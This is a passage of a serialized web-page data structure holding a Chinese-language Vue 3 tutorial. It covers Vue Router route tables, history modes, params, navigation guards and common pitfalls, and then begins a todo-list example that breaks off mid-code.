",[136,14377,4532],{"class":236},[136,14379,7881],{"class":142},[136,14381,14382,14384,14387,14389,14391,14393,14395,14397,14399,14402,14405],{"class":138,"line":267},[136,14383,14301],{"class":142},[136,14385,14386],{"class":157},"'\u002Fposts\u002F:page?'",[136,14388,4139],{"class":142},[136,14390,669],{"class":150},[136,14392,4281],{"class":142},[136,14394,593],{"class":232},[136,14396,12927],{"class":232},[136,14398,249],{"class":142},[136,14400,14401],{"class":157},"'@\u002Fviews\u002FPosts.vue'",[136,14403,14404],{"class":142},") },          ",[136,14406,14407],{"class":456},"\u002F\u002F 可选参数（省略时 undefined）\n",[136,14409,14410],{"class":138,"line":273},[136,14411,14412],{"class":142},"  {\n",[136,14414,14415,14418,14421],{"class":138,"line":289},[136,14416,14417],{"class":142},"    path: ",[136,14419,14420],{"class":157},"'\u002Fdashboard'",[136,14422,4306],{"class":142},[136,14424,14425,14428,14430,14432,14434,14436,14439],{"class":138,"line":605},[136,14426,14427],{"class":150},"    component",[136,14429,4281],{"class":142},[136,14431,593],{"class":232},[136,14433,12927],{"class":232},[136,14435,249],{"class":142},[136,14437,14438],{"class":157},"'@\u002Fviews\u002FDashboard.vue'",[136,14440,12935],{"class":142},[136,14442,14443,14446],{"class":138,"line":2406},[136,14444,14445],{"class":142},"    children: [                                  ",[136,14447,14448],{"class":456},"\u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n",[136,14450,14451,14454,14456,14459],{"class":138,"line":2415},[136,14452,14453],{"class":142},"      { path: ",[136,14455,1738],{"class":157},[136,14457,14458],{"class":142},", component: DashboardHome },    ",[136,14460,14461],{"class":456},"\u002F\u002F \u002Fdashboard\n",[136,14463,14464,14466,14469,14472],{"class":138,"line":4546},[136,14465,14453],{"class":142},[136,14467,14468],{"class":157},"'analytics'",[136,14470,14471],{"class":142},", component: Analytics } ",[136,14473,14474],{"class":456},"\u002F\u002F \u002Fdashboard\u002Fanalytics\n",[136,14476,14477],{"class":138,"line":4558},[136,14478,14479],{"class":142},"    ]\n",[136,14481,14482],{"class":138,"line":4563},[136,14483,14484],{"class":142},"  },\n",[136,14486,14487,14489,14492,14494,14497,14500],{"class":138,"line":4569},[136,14488,14301],{"class":142},[136,14490,14491],{"class":157},"'\u002F:pathMatch(.*)*'",[136,14493,14307],{"class":142},[136,14495,14496],{"class":157},"'not-found'",[136,14498,14499],{"class":142},", component: NotFound }   ",[136,14501,14502],{"class":456},"\u002F\u002F 兜底 404\n",[136,14504,14505],{"class":138,"line":4585},[136,14506,14507],{"class":142},"]\n",[136,14509,14510],{"class":138,"line":4591},[136,14511,173],{"emptyLinePlaceholder":172},[136,14513,14514,14516,14518,14521,14523,14526],{"class":138,"line":6085},[136,14515,462],{"class":232},[136,14517,13464],{"class":232},[136,14519,14520],{"class":236}," router",[136,14522,240],{"class":232},[136,14524,14525],{"class":150}," createRouter",[136,14527,217],{"class":142},[136,14529,14530,14533,14536,14539],{"class":138,"line":6094},[136,14531,14532],{"class":142},"  history: ",[136,14534,14535],{"class":150},"createWebHistory",[136,14537,14538],{"class":142},"(),        ",[136,14540,14541],{"class":456},"\u002F\u002F 干净 URL，需要服务端 fallback\n",[136,14543,14544],{"class":138,"line":9498},[136,14545,14546],{"class":142},"  routes,\n",[136,14548,14549,14552,14554,14557,14559,14561,14563,14566,14568,14570,14573,14576,14579,14581,14584,14586],{"class":138,"line":9503},[136,14550,14551],{"class":150},"  scrollBehavior",[136,14553,700],{"class":142},[136,14555,14556],{"class":703},"to",[136,14558,4139],{"class":142},[136,14560,331],{"class":703},[136,14562,4139],{"class":142},[136,14564,14565],{"class":703},"saved",[136,14567,707],{"class":142},[136,14569,593],{"class":232},[136,14571,14572],{"class":142}," saved ",[136,14574,14575],{"class":232},"||",[136,14577,14578],{"class":142}," { left: ",[136,14580,485],{"class":236},[136,14582,14583],{"class":142},", top: ",[136,14585,485],{"class":236},[136,14587,4346],{"class":142},[136,14589,14591],{"class":138,"line":14590},25,[136,14592,2502],{"class":142},[127,14594,14596],{"className":447,"code":14595,"language":449,"meta":132,"style":132},"\u002F\u002F main.js\nimport { createApp } from 'vue'\nimport router from '.\u002Frouter'\ncreateApp(App).use(router).mount('#app')\n",[22,14597,14598,14602,14612,14624],{"__ignoreMap":132},[136,14599,14600],{"class":138,"line":139},[136,14601,13358],{"class":456},[136,14603,14604,14606,14608,14610],{"class":138,"line":169},[136,14605,325],{"class":232},[136,14607,13365],{"class":142},[136,14609,331],{"class":232},[136,14611,334],{"class":157},[136,14613,14614,14616,14619,14621],{"class":138,"line":176},[136,14615,325],{"class":232},[136,14617,14618],{"class":142}," router ",[136,14620,331],{"class":232},[136,14622,14623],{"class":157}," '.\u002Frouter'\n",[136,14625,14626,14628,14630,14632,14635,14637,14639,14641],{"class":138,"line":199},[136,14627,214],{"class":150},[136,14629,13404],{"class":142},[136,14631,12318],{"class":150},[136,14633,14634],{"class":142},"(router).",[136,14636,279],{"class":150},[136,14638,249],{"class":142},[136,14640,284],{"class":157},[136,14642,255],{"class":142},[127,14644,14646],{"className":305,"code":14645,"language":307,"meta":132,"style":132},"\u003C!-- App.vue -->\n\u003Ctemplate>\n  \u003Cnav>\n    \u003CRouterLink to=\"\u002F\">首页\u003C\u002FRouterLink>\n    \u003CRouterLink :to=\"{ name: 'user', params: { id: 42 } }\">用户 42\u003C\u002FRouterLink>\n  \u003C\u002Fnav>\n  \u003CRouterView \u002F>          \u003C!-- 当前路由的组件渲染在这里 -->\n\u003C\u002Ftemplate>\n",[22,14647,14648,14653,14661,14670,14692,14729,14737,14750],{"__ignoreMap":132},[136,14649,14650],{"class":138,"line":139},[136,14651,14652],{"class":456},"\u003C!-- App.vue -->\n",[136,14654,14655,14657,14659],{"class":138,"line":169},[136,14656,143],{"class":142},[136,14658,371],{"class":146},[136,14660,166],{"class":142},[136,14662,14663,14665,14668],{"class":138,"line":176},[136,14664,378],{"class":142},[136,14666,14667],{"class":146},"nav",[136,14669,166],{"class":142},[136,14671,14672,14674,14677,14680,14682,14685,14688,14690],{"class":138,"line":199},[136,14673,2278],{"class":142},[136,14675,14676],{"class":146},"RouterLink",[136,14678,14679],{"class":150}," to",[136,14681,154],{"class":142},[136,14683,14684],{"class":157},"\"\u002F\"",[136,14686,14687],{"class":142},">首页\u003C\u002F",[136,14689,14676],{"class":146},[136,14691,166],{"class":142},[136,14693,14694,14696,14698,14700,14702,14704,14706,14709,14711,14714,14717,14720,14722,14725,14727],{"class":138,"line":208},[136,14695,2278],{"class":142},[136,14697,14676],{"class":146},[136,14699,1280],{"class":142},[136,14701,14556],{"class":150},[136,14703,154],{"class":142},[136,14705,1288],{"class":157},[136,14707,14708],{"class":142},"{ name: ",[136,14710,11660],{"class":157},[136,14712,14713],{"class":142},", params: { id: ",[136,14715,14716],{"class":236},"42",[136,14718,14719],{"class":142}," } }",[136,14721,1288],{"class":157},[136,14723,14724],{"class":142},">用户 42\u003C\u002F",[136,14726,14676],{"class":146},[136,14728,166],{"class":142},[136,14730,14731,14733,14735],{"class":138,"line":220},[136,14732,2307],{"class":142},[136,14734,14667],{"class":146},[136,14736,166],{"class":142},[136,14738,14739,14741,14744,14747],{"class":138,"line":229},[136,14740,378],{"class":142},[136,14742,14743],{"class":146},"RouterView",[136,14745,14746],{"class":142}," \u002F>          ",[136,14748,14749],{"class":456},"\u003C!-- 当前路由的组件渲染在这里 -->\n",[136,14751,14752,14754,14756],{"class":138,"line":258},[136,14753,292],{"class":142},[136,14755,371],{"class":146},[136,14757,166],{"class":142},[119,14759,14761],{"id":14760},"三种-history决定部署方式","三种 history，决定部署方式",[53,14763,14764,14779],{},[56,14765,14766],{},[59,14767,14768,14771,14774,14777],{},[62,14769,14770],{},"创建方式",[62,14772,14773],{},"URL 形态",[62,14775,14776],{},"服务端要不要配 fallback",[62,14778,70],{},[72,14780,14781,14802,14820],{},[59,14782,14783,14788,14793,14799],{},[77,14784,14785],{},[22,14786,14787],{},"createWebHistory()",[77,14789,14790],{},[22,14791,14792],{},"\u002Fusers\u002F42",[77,14794,14795,14798],{},[17,14796,14797],{},"要","（刷新时所有路径都要回落到 index.html）",[77,14800,14801],{},"正式站点，SEO 友好",[59,14803,14804,14809,14814,14817],{},[77,14805,14806],{},[22,14807,14808],{},"createWebHashHistory()",[77,14810,14811],{},[22,14812,14813],{},"\u002F#\u002Fusers\u002F42",[77,14815,14816],{},"不要",[77,14818,14819],{},"静态托管、iframe 内、子目录里懒得配 nginx",[59,14821,14822,14827,14830,14832],{},[77,14823,14824],{},[22,14825,14826],{},"createMemoryHistory()",[77,14828,14829],{},"不写地址栏",[77,14831,3831],{},[77,14833,14834],{},"测试、示例（本教程的示例 16 用的就是它）",[10,14836,14837,14838,14841],{},"history 模式下 nginx 的一行配置：",[22,14839,14840],{},"try_files $uri $uri\u002F \u002Findex.html;","。漏了它的症状是「首页能进，刷新子页面 404」。",[119,14843,14844],{"id":14844},"读参数与跳转",[127,14846,14848],{"className":305,"code":14847,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { useRoute, useRouter } from 'vue-router'\nconst route = useRoute()     \u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\nconst router = useRouter()   \u002F\u002F 命令式跳转\n\nfunction go() {\n  router.push({ name: 'user', params: { id: 7 } })\n  router.replace({ path: '\u002Flogin', query: { redirect: route.fullPath } })  \u002F\u002F 不留历史\n  router.back()\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>id = {{ route.params.id }}，页码 = {{ route.query.page }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[22,14849,14850,14860,14871,14889,14906,14910,14919,14936,14955,14964,14968,14976,14980,14988,15001],{"__ignoreMap":132},[136,14851,14852,14854,14856,14858],{"class":138,"line":139},[136,14853,143],{"class":142},[136,14855,181],{"class":146},[136,14857,318],{"class":150},[136,14859,166],{"class":142},[136,14861,14862,14864,14867,14869],{"class":138,"line":169},[136,14863,325],{"class":232},[136,14865,14866],{"class":142}," { useRoute, useRouter } ",[136,14868,331],{"class":232},[136,14870,14268],{"class":157},[136,14872,14873,14875,14878,14880,14883,14886],{"class":138,"line":176},[136,14874,339],{"class":232},[136,14876,14877],{"class":236}," route",[136,14879,240],{"class":232},[136,14881,14882],{"class":150}," useRoute",[136,14884,14885],{"class":142},"()     ",[136,14887,14888],{"class":456},"\u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\n",[136,14890,14891,14893,14895,14897,14900,14903],{"class":138,"line":199},[136,14892,339],{"class":232},[136,14894,14520],{"class":236},[136,14896,240],{"class":232},[136,14898,14899],{"class":150}," useRouter",[136,14901,14902],{"class":142},"()   ",[136,14904,14905],{"class":456},"\u002F\u002F 命令式跳转\n",[136,14907,14908],{"class":138,"line":208},[136,14909,173],{"emptyLinePlaceholder":172},[136,14911,14912,14914,14917],{"class":138,"line":220},[136,14913,5231],{"class":232},[136,14915,14916],{"class":150}," go",[136,14918,226],{"class":142},[136,14920,14921,14924,14926,14928,14930,14932,14934],{"class":138,"line":229},[136,14922,14923],{"class":142},"  router.",[136,14925,3384],{"class":150},[136,14927,3163],{"class":142},[136,14929,11660],{"class":157},[136,14931,14713],{"class":142},[136,14933,11484],{"class":236},[136,14935,3363],{"class":142},[136,14937,14938,14940,14943,14946,14949,14952],{"class":138,"line":258},[136,14939,14923],{"class":142},[136,14941,14942],{"class":150},"replace",[136,14944,14945],{"class":142},"({ path: ",[136,14947,14948],{"class":157},"'\u002Flogin'",[136,14950,14951],{"class":142},", query: { redirect: route.fullPath } })  ",[136,14953,14954],{"class":456},"\u002F\u002F 不留历史\n",[136,14956,14957,14959,14962],{"class":138,"line":267},[136,14958,14923],{"class":142},[136,14960,14961],{"class":150},"back",[136,14963,4597],{"class":142},[136,14965,14966],{"class":138,"line":273},[136,14967,538],{"class":142},[136,14969,14970,14972,14974],{"class":138,"line":289},[136,14971,292],{"class":142},[136,14973,181],{"class":146},[136,14975,166],{"class":142},[136,14977,14978],{"class":138,"line":605},[136,14979,173],{"emptyLinePlaceholder":172},[136,14981,14982,14984,14986],{"class":138,"line":2406},[136,14983,143],{"class":142},[136,14985,371],{"class":146},[136,14987,166],{"class":142},[136,14989,14990,14992,14994,14997,14999],{"class":138,"line":2415},[136,14991,378],{"class":142},[136,14993,10],{"class":146},[136,14995,14996],{"class":142},">id = {{ route.params.id }}，页码 = {{ route.query.page }}\u003C\u002F",[136,14998,10],{"class":146},[136,15000,166],{"class":142},[136,15002,15003,15005,15007],{"class":138,"line":4546},[136,15004,292],{"class":142},[136,15006,371],{"class":146},[136,15008,166],{"class":142},[10,15010,15011,436,15014,15017,15018,15021],{},[22,15012,15013],{},"props: true",[22,15015,15016],{},"props: (route) => ({ id: Number(route.params.id) })","）能把参数直接注入成组件 props，组件里就可以不依赖 ",[22,15019,15020],{},"useRoute","——复用性和可测性都更好。",[10,15023,15024,1072,15027,15030,15031,15034,15035,15037,15038,15041,15042,15045,15046,849],{},[17,15025,15026],{},"同一路由只换参数时组件会被复用",[22,15028,15029],{},"\u002Fusers\u002F1"," → ",[22,15032,15033],{},"\u002Fusers\u002F2","），",[22,15036,431],{}," 不再执行。三种应对：",[22,15039,15040],{},":key=\"route.fullPath\""," 强制重建、",[22,15043,15044],{},"watch(() => route.params.id, load)","、或 ",[22,15047,15048],{},"onBeforeRouteUpdate",[119,15050,15052],{"id":15051},"导航守卫三句话讲清","导航守卫：三句话讲清",[127,15054,15056],{"className":447,"code":15055,"language":449,"meta":132,"style":132},"\u002F\u002F 全局\nrouter.beforeEach((to) => {\n  if (to.meta.requiresAuth && !isLoggedIn()) {\n    return { name: 'login', query: { redirect: to.fullPath } }   \u002F\u002F 返回地址 = 重定向\n  }\n  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n})\n\n\u002F\u002F 路由独享\n{ path: '\u002Fadmin', component: Admin, meta: { requiresAuth: true },\n  beforeEnter: (to) => isAdmin() || '\u002F403' }\n\n\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\nimport { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'\nonBeforeRouteLeave(() => edited.value ? confirm('有未保存内容，确定离开？') : true)\n",[22,15057,15058,15063,15081,15098,15115,15119,15124,15128,15132,15137,15172,15197,15201,15206,15217],{"__ignoreMap":132},[136,15059,15060],{"class":138,"line":139},[136,15061,15062],{"class":456},"\u002F\u002F 全局\n",[136,15064,15065,15068,15071,15073,15075,15077,15079],{"class":138,"line":169},[136,15066,15067],{"class":142},"router.",[136,15069,15070],{"class":150},"beforeEach",[136,15072,4133],{"class":142},[136,15074,14556],{"class":703},[136,15076,707],{"class":142},[136,15078,593],{"class":232},[136,15080,468],{"class":142},[136,15082,15083,15085,15088,15090,15092,15095],{"class":138,"line":176},[136,15084,5862],{"class":232},[136,15086,15087],{"class":142}," (to.meta.requiresAuth ",[136,15089,5841],{"class":232},[136,15091,5835],{"class":232},[136,15093,15094],{"class":150},"isLoggedIn",[136,15096,15097],{"class":142},"()) {\n",[136,15099,15100,15103,15106,15109,15112],{"class":138,"line":199},[136,15101,15102],{"class":232},"    return",[136,15104,15105],{"class":142}," { name: ",[136,15107,15108],{"class":157},"'login'",[136,15110,15111],{"class":142},", query: { redirect: to.fullPath } }   ",[136,15113,15114],{"class":456},"\u002F\u002F 返回地址 = 重定向\n",[136,15116,15117],{"class":138,"line":208},[136,15118,13806],{"class":142},[136,15120,15121],{"class":138,"line":220},[136,15122,15123],{"class":456},"  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n",[136,15125,15126],{"class":138,"line":229},[136,15127,2502],{"class":142},[136,15129,15130],{"class":138,"line":258},[136,15131,173],{"emptyLinePlaceholder":172},[136,15133,15134],{"class":138,"line":267},[136,15135,15136],{"class":456},"\u002F\u002F 路由独享\n",[136,15138,15139,15142,15145,15147,15150,15152,15154,15157,15160,15163,15166,15168,15170],{"class":138,"line":273},[136,15140,15141],{"class":142},"{ ",[136,15143,15144],{"class":150},"path",[136,15146,6725],{"class":142},[136,15148,15149],{"class":157},"'\u002Fadmin'",[136,15151,4139],{"class":142},[136,15153,669],{"class":150},[136,15155,15156],{"class":142},": Admin, ",[136,15158,15159],{"class":150},"meta",[136,15161,15162],{"class":142},": { ",[136,15164,15165],{"class":150},"requiresAuth",[136,15167,6725],{"class":142},[136,15169,4532],{"class":236},[136,15171,7881],{"class":142},[136,15173,15174,15177,15179,15181,15183,15185,15188,15190,15192,15195],{"class":138,"line":289},[136,15175,15176],{"class":150},"  beforeEnter",[136,15178,700],{"class":142},[136,15180,14556],{"class":703},[136,15182,707],{"class":142},[136,15184,593],{"class":232},[136,15186,15187],{"class":150}," isAdmin",[136,15189,5804],{"class":142},[136,15191,14575],{"class":232},[136,15193,15194],{"class":157}," '\u002F403'",[136,15196,4346],{"class":142},[136,15198,15199],{"class":138,"line":605},[136,15200,173],{"emptyLinePlaceholder":172},[136,15202,15203],{"class":138,"line":2406},[136,15204,15205],{"class":456},"\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\n",[136,15207,15208,15210,15213,15215],{"class":138,"line":2415},[136,15209,325],{"class":232},[136,15211,15212],{"class":142}," { onBeforeRouteLeave, onBeforeRouteUpdate } ",[136,15214,331],{"class":232},[136,15216,14268],{"class":157},[136,15218,15219,15222,15224,15226,15229,15231,15234,15236,15239,15241,15243,15246],{"class":138,"line":4546},[136,15220,15221],{"class":150},"onBeforeRouteLeave",[136,15223,590],{"class":142},[136,15225,593],{"class":232},[136,15227,15228],{"class":142}," edited.value ",[136,15230,5807],{"class":232},[136,15232,15233],{"class":150}," confirm",[136,15235,249],{"class":142},[136,15237,15238],{"class":157},"'有未保存内容，确定离开？'",[136,15240,707],{"class":142},[136,15242,1259],{"class":232},[136,15244,15245],{"class":236}," true",[136,15247,255],{"class":142},[10,15249,15250,15252,15253,1442,15255,1442,15257,15260,15261,15264,15265,15268],{},[22,15251,15159],{}," 是自由字段（配合 TS 声明增强提示），常用来放 ",[22,15254,15165],{},[22,15256,6364],{},[22,15258,15259],{},"layout","。异步守卫可以直接 ",[22,15262,15263],{},"await","（旧代码里的 ",[22,15266,15267],{},"next()"," 调用方式仍可用，新代码用返回值更清晰）。",[801,15270],{"height":15271,"src":15272,"title":15273},620,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F16-router-basics.html","示例 16：路由表匹配、参数解析与守卫拦截",[10,15275,15276,15277,15280],{},"示例 16 里点链接能看到「命中了哪条路由记录、params\u002Fquery 是什么、守卫放不放行」，右侧同步显示当前 ",[22,15278,15279],{},"route"," 对象的结构。",[119,15282,816],{"id":15283},"️-本章的坑-15",[10,15285,15286,15289,15290,15292,15293,15296,15297,15300,15301,15308],{},[17,15287,15288],{},"1. history 模式部署后刷新 404。"," 静态服务器只会为真实文件返回 200，",[22,15291,14792],{}," 不是文件。必须配 fallback（",[22,15294,15295],{},"try_files … \u002Findex.html","）或改 hash 模式。子路径部署时还要给 ",[22,15298,15299],{},"createWebHistory('\u002Fnuxt\u002F')"," 传 base——",[17,15302,15303,15304,15307],{},"这个 base 要和构建的 ",[22,15305,15306],{},"base"," 配置一致","，否则资源路径和路由路径各说各话。",[10,15310,15311,822,15319,15322,15323,15326,15327,15330,15331,15334],{},[17,15312,2645,15313,6283,15316,15318],{},[22,15314,15315],{},"params",[22,15317,15144],{}," 写法里会被静默丢弃。",[22,15320,15321],{},"router.push('\u002Fusers\u002F' + id)"," 之后 ",[22,15324,15325],{},"route.params"," 是空的；要用 ",[22,15328,15329],{},"push({ name, params })"," 或把值拼进 path 再从 ",[22,15332,15333],{},"route.path"," 解析。",[10,15336,15337,15349,15350,15353,15354,15357],{},[17,15338,15339,15340,6759,15342,15345,15346,849],{},"3. 用 ",[22,15341,811],{},[22,15343,15344],{},"\u003Ca href>"," 替代 ",[22,15347,15348],{},"\u003CRouterLink>"," 原生 ",[22,15351,15352],{},"\u003Ca>"," 会触发整页刷新（单页应用的意义就没了）。需要「看起来像链接」时用 ",[22,15355,15356],{},"\u003CRouterLink custom v-slot=\"{ navigate }\">"," 自定义渲染。",[10,15359,15360,15370,15371,15373,15374,15376],{},[17,15361,15362,15363,1452,15365,634,15367,15369],{},"4. 守卫里返回 ",[22,15364,4532],{},[22,15366,5012],{},[22,15368,15267],{}," 混用。"," 同一个守卫里既 ",[22,15372,15267],{}," 又 ",[22,15375,479],{}," 会行为怪异。选一种风格，新项目建议返回值。",[10,15378,15379,15382,15383,15386],{},[17,15380,15381],{},"5. 守卫里做异步请求没加超时\u002F取消。"," 用户点得快，导航会卡在「等待鉴权」；请求失败时如果既不 ",[22,15384,15385],{},"return false"," 也不重定向，界面就停在原地，看起来像「链接点不动」。",[10,15388,15389,15392],{},[17,15390,15391],{},"6. 只换参数的页面不重新请求数据。"," 上面「同一路由复用组件」那条，是最常见的「切了个分类，列表还是老数据」。",[10,15394,15395,822,15398,15401,15402,849],{},[17,15396,15397],{},"7. 404 兜底路由必须放最后。",[22,15399,15400],{},"\u002F:pathMatch(.*)*"," 写在前面会把所有路径吃掉。它的路径语法（v4\u002Fv5 都支持这一种）值得抄下来，别靠记忆改写成 ",[22,15403,15404],{},"(.*?)",[10,15406,15407,15417,15418,15421,15422,15424],{},[17,15408,4882,15409,15412,15413,15416],{},[22,15410,15411],{},"scrollBehavior"," 返回 ",[22,15414,15415],{},"savedPosition"," 时要判空。"," 直接 ",[22,15419,15420],{},"return saved"," 在没保存位置时返回 ",[22,15423,1734],{},"，Vue Router 会退化成「滚到顶部」，可能不是你想要的。",[10,15426,15427,822,15430,15433,15434,2590,15437,15440],{},[17,15428,15429],{},"9. 路由懒加载的组件路径写错不会立刻报错。",[22,15431,15432],{},"() => import('.\u002FVIEWS\u002FAbout.vue')"," 只在真正进入那条路由时才失败（表现为「点了没反应\u002F白屏」）。构建期用 ",[22,15435,15436],{},"vite",[22,15438,15439],{},"build.rollupOptions"," 报错或跑一遍全路由点击来兜住。",[119,15442,15444],{"id":15443},"附路由速查","附：路由速查",[53,15446,15447,15455],{},[56,15448,15449],{},[59,15450,15451,15453],{},[62,15452,4907],{},[62,15454,1797],{},[72,15456,15457,15467,15483,15499,15514,15525,15535,15555,15574,15585,15605,15615,15625],{},[59,15458,15459,15462],{},[77,15460,15461],{},"声明",[77,15463,15464],{},[22,15465,15466],{},"{ path: '\u002Fu\u002F:id', component: User, name: 'user', props: true, meta: { title: '用户' } }",[59,15468,15469,15472],{},[77,15470,15471],{},"可选参数",[77,15473,15474,15477,15478,6875,15481,3039],{},[22,15475,15476],{},"\u002Fposts\u002F:page?","（省略时 ",[22,15479,15480],{},"params.page",[22,15482,1734],{},[59,15484,15485,15488],{},[77,15486,15487],{},"参数格式校验",[77,15489,15490,15491,15494,15495,15498],{},"别依赖路径里的正则（不同小版本语法有出入，实测为准）；用 ",[22,15492,15493],{},"beforeEnter"," 守卫或 ",[22,15496,15497],{},"props: (route) => ({ page: Number(route.params.page) || 1 })"," 更稳",[59,15500,15501,15504],{},[77,15502,15503],{},"嵌套子路由",[77,15505,15506,15507,15510,15511],{},"父记录 ",[22,15508,15509],{},"children: [...]","，父组件里再放 ",[22,15512,15513],{},"\u003CRouterView \u002F>",[59,15515,15516,15519],{},[77,15517,15518],{},"兜底 404",[77,15520,15521,15524],{},[22,15522,15523],{},"{ path: '\u002F:pathMatch(.*)*', component: NotFound }","（放最后）",[59,15526,15527,15530],{},[77,15528,15529],{},"链接",[77,15531,15532],{},[22,15533,15534],{},"\u003CRouterLink :to=\"{ name: 'user', params: { id } }\">",[59,15536,15537,15540],{},[77,15538,15539],{},"激活样式类",[77,15541,15542,422,15545,15548,15549,422,15552,3039],{},[22,15543,15544],{},"active-class",[22,15546,15547],{},"exact-active-class","（默认 ",[22,15550,15551],{},"router-link-active",[22,15553,15554],{},"-exact-active",[59,15556,15557,15560],{},[77,15558,15559],{},"命令式跳转",[77,15561,15562,422,15565,422,15568,422,15571],{},[22,15563,15564],{},"router.push()",[22,15566,15567],{},"replace()",[22,15569,15570],{},"back()",[22,15572,15573],{},"forward()",[59,15575,15576,15579],{},[77,15577,15578],{},"读当前路由",[77,15580,15581,15584],{},[22,15582,15583],{},"useRoute()","（响应式，别解构整个对象）",[59,15586,15587,15590],{},[77,15588,15589],{},"守卫",[77,15591,15592,15593,422,15595,15598,15599,15601,15602],{},"全局 ",[22,15594,15070],{},[22,15596,15597],{},"afterEach","，记录 ",[22,15600,15493],{},"，组件内 ",[22,15603,15604],{},"onBeforeRouteLeave\u002FUpdate",[59,15606,15607,15610],{},[77,15608,15609],{},"滚动",[77,15611,15612],{},[22,15613,15614],{},"scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 }",[59,15616,15617,15620],{},[77,15618,15619],{},"懒加载",[77,15621,15622],{},[22,15623,15624],{},"component: () => import('.\u002FViews\u002FX.vue')",[59,15626,15627,15630],{},[77,15628,15629],{},"路由中间件式复用",[77,15631,15632,15633,15635,15636,15639],{},"把校验逻辑抽进 ",[22,15634,15159],{}," + 一个全局守卫（Nuxt 里有专门的 ",[22,15637,15638],{},"definePageMeta"," + middleware）",[35,15641,15643],{"id":15642},"十七综合实战一个待办清单把前面十六章串起来","十七、综合实战：一个待办清单，把前面十六章串起来",[10,15645,15646],{},"待办清单是「最小的完整应用」：有输入、有列表、有筛选、有持久化、有组件拆分。下面按「先能跑，再拆好」的顺序走一遍，每一步都只用到前面章节出现过的语法。示例 17 是最终成品，可以直接玩。",[119,15648,15650],{"id":15649},"第一步数据形状先定下来","第一步：数据形状先定下来",[127,15652,15654],{"className":447,"code":15653,"language":449,"meta":132,"style":132},"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 }\n",[22,15655,15656,15661],{"__ignoreMap":132},[136,15657,15658],{"class":138,"line":139},[136,15659,15660],{"class":456},"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n",[136,15662,15663,15665,15667,15669,15672,15674,15677,15679,15682,15684,15687,15689,15691,15693,15696,15698,15700],{"class":138,"line":169},[136,15664,15141],{"class":142},[136,15666,10137],{"class":150},[136,15668,6725],{"class":142},[136,15670,15671],{"class":236},"1731289000",[136,15673,4139],{"class":142},[136,15675,15676],{"class":150},"text",[136,15678,6725],{"class":142},[136,15680,15681],{"class":157},"'写教程'",[136,15683,4139],{"class":142},[136,15685,15686],{"class":150},"done",[136,15688,6725],{"class":142},[136,15690,5012],{"class":236},[136,15692,4139],{"class":142},[136,15694,15695],{"class":150},"createdAt",[136,15697,6725],{"class":142},[136,15699,15671],{"class":236},[136,15701,4346],{"class":142},[10,15703,15704,15707],{},[17,15705,15706],{},"先定数据，再写模板。"," 界面所有状态都能从这份数据算出来，就没有第二份需要同步的「影子状态」（这是 UI bug 的主要来源）。",[119,15709,15711],{"id":15710},"第二步最小可用版一个文件","第二步：最小可用版（一个文件）",[127,15713,15715],{"className":305,"code":15714,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref, computed, watch } from 'vue'\n\nconst KEY = 'vue3-todo'\nconst storage = ref([])\n\nconst draft = ref('')\nconst filter = ref('all')          \u002F\u002F all | active | done\n\nconst add = () => {\n  const text = draft.value.trim()\n  if (!text) return\n  storage.value.push({ id: Date.now(), text, done: false })\n  draft.value = ''\n}\n\nconst visible = computed(() =>\n  storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))\n)\nconst left = computed(() => storage.value.filter(t => !t.done).length)\n\nwatch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Csection class=\"todo\">\n    \u003Cform @submit.prevent=\"add\">\n      \u003Cinput v-model=\"draft\" placeholder=\"要做什么？\" aria-label=\"新待办\">\n      \u003Cbutton type=\"submit\" :disabled=\"!draft.trim()\">添加\u003C\u002Fbutton>\n    \u003C\u002Fform>\n\n    \u003Cul>\n      \u003Cli v-for=\"t in visible\" :key=\"t.id\">\n        \u003Clabel>\n          \u003Cinput type=\"checkbox\" v-model=\"t.done\">\n          \u003Cspan :class=\"{ done: t.done }\">{{ t.text }}\u003C\u002Fspan>\n        \u003C\u002Flabel>\n        \u003Cbutton type=\"button\" @click=\"storage = storage.filter(x => x.id !== t.id)\">删除\u003C\u002Fbutton>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n\n    \u003Cfooter>\n      剩 {{ left }} 项\n      \u003Cselect v-model=\"filter\">\n        \u003Coption value=\"all\">全部\u003C\u002Foption>\n        \u003Coption value=\"active\">未完成\u003C\u002Foption>\n        \u003Coption value=\"done\">已完成\u003C\u002Foption>\n      \u003C\u002Fselect>\n    \u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n",[22,15716,15717,15727,15738,15742,15754,15768,15772,15789,15811,15815,15829,15845,15858,15877,15887,15891,15895,15910,15952,15956,15991,15995,16032,16040,16044,16052,16068,16084,16115,16142,16151,16156,16165,16188,16197,16220,16241,16251,16279,16288,16297,16302,16311,16317,16334,16357,16378,16399,16408,16417,16426],{"__ignoreMap":132},[136,15718,15719,15721,15723,15725],{"class":138,"line":139},[136,15720,143],{"class":142},[136,15722,181],{"class":146},[136,15724,318],{"class":150},[136,15726,166],{"class":142},[136,15728,15729,15731,15734,15736],{"class":138,"line":169},[136,15730,325],{"class":232},[136,15732,15733],{"class":142}," { ref, computed, watch } 